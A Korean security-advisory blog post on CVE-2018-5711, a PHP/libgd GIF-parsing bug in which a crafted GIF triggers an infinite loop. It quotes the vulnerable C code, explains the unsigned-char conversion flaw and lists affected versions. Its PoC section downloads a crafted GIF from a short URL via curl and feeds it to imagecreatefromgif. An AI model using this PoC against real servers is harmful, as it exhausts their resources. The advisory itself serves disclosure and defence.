포스팅 내용

국내외 보안동향

위험한 GIF를 게재할 수 있는 PHP 취약점 CVE-2018-5711 발견!

취약점 상세내용


해당 취약점은 ext/gd/libgd/gd_gif_in.c 파일에 존재합니다. 

LWZReadByte_에 while-loop가 존재합니다. 


    do {

        sd->firstcode = sd->oldcode =

        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);

    } while (sd->firstcode == sd->clear_code);


함수 GetCode는 wrapper이며, GetCode_는 실제 작업을 수행합니다. 


    static int

    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)

    {

        int           i, j, ret;

        unsigned char count;

           ... 


        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)

            scd->done = TRUE;

           ...

           

    }


GetCode_ 는 GetDataBlock을 GIF안에서 읽어옵니다.


    static int

    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)

    {

     unsigned char   count;

    

     if (! ReadOK(fd,&count,1)) {

         return -1;

     }

    

     *ZeroDataBlockP = count == 0;

    

     if ((count != 0) && (! ReadOK(fd, buf, count))) {

         return -1;

     }


     return count;

    }



버그는 int에서 unsigned char 로 변환하는 과정에 존재합니다. 만약 GetDataBlock_이 -1을 반환하면 400 행의 scd-> done이 True로 설정되고 while 루프가 중지됩니다. 그러나 count의 정의가 unsigned char이기 때문에 절대로 실행되지 않을 것입니다. 


결과적으로 하나의 단일 GIF가 무한 루프를 만들고 서버 리소스를 모두 소모 할 수 있습니다.


영향받는 버전


PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1





PoC 


$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif

$ php -r 'imagecreatefromgif("poc.gif");'


  Infinite loop here..




참고:


https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711

티스토리 방명록 작성
name password homepage